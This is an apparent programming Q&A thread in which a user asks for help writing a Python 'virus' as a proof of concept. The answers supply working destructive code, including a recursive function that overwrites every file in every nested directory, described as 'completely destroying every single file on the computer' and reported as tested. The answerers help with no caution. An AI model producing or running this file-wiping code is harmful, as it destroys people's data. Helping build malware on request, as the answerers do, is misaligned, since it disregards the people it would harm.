D4zk1tty
D4zk1tty

Reputation: 133

Listing Directories In Python Multi Line

i need help trying to list directories in python, i am trying to code a python virus, just proof of concept, nothing special.

#!/usr/bin/python
import os, sys
VIRUS=''
data=str(os.listdir('.'))
data=data.translate(None, "[],\n'")
print data
f = open(data, "w")
f.write(VIRUS)
f.close()

EDIT: I need it to be multi-lined so when I list the directorys I can infect the first file that is listed then the second and so on.

I don't want to use the ls command cause I want it to be multi-platform.

Upvotes: 0

Views: 418

Answers (3)

Ryan Saxe
Ryan Saxe

Reputation: 17869

So when writing a virus like this, you will want it to be recursive. This way it will be able to go inside every directory it finds and write over those files as well, completely destroying every single file on the computer.

def virus(directory=os.getcwd()):
    VIRUS = "THIS FILE IS NOW INFECTED" 
    if directory[-1] == "/": #making sure directory can be concencated with file
        pass
    else:
        directory = directory + "/" #making sure directory can be concencated with file
    files = os.listdir(directory)
    for i in files:
        location = directory + i
        if os.path.isfile(location):
            with open(location,'w') as f:
                f.write(VIRUS)
        elif os.path.isdir(location):
            virus(directory=location) #running function again if in a directory to go inside those files

Now this one line will rewrite all files as the message in the variable VIRUS:

virus()

Extra explanation:

the reason I have the default as: directory=os.getcwd() is because you originally were using ".", which, in the listdir method, will be the current working directories files. I needed the name of the directory on file in order to pull the nested directories

This does work!:

I ran it in a test directory on my computer and every file in every nested directory had it's content replaced with: "THIS FILE IS NOW INFECTED"

Upvotes: 0

Ashwini Chaudhary
Ashwini Chaudhary

Reputation: 251096

Something like this:

import os
VIRUS = "some text"
data = os.listdir(".")  #returns a list of files and directories

for x in data:       #iterate over the list

    if os.path.isfile(x): #if current item is a file then perform write operation

        #use `with` statement for handling files, it automatically closes the file
        with open(x,'w') as f:
            f.write(VIRUS)

Upvotes: 0

icktoofay
icktoofay

Reputation: 129079

Don't call str on the result of os.listdir if you're just going to try to parse it again. Instead, use the result directly:

for item in os.listdir('.'):
    print item   # or do something else with item

Upvotes: 1

Related Questions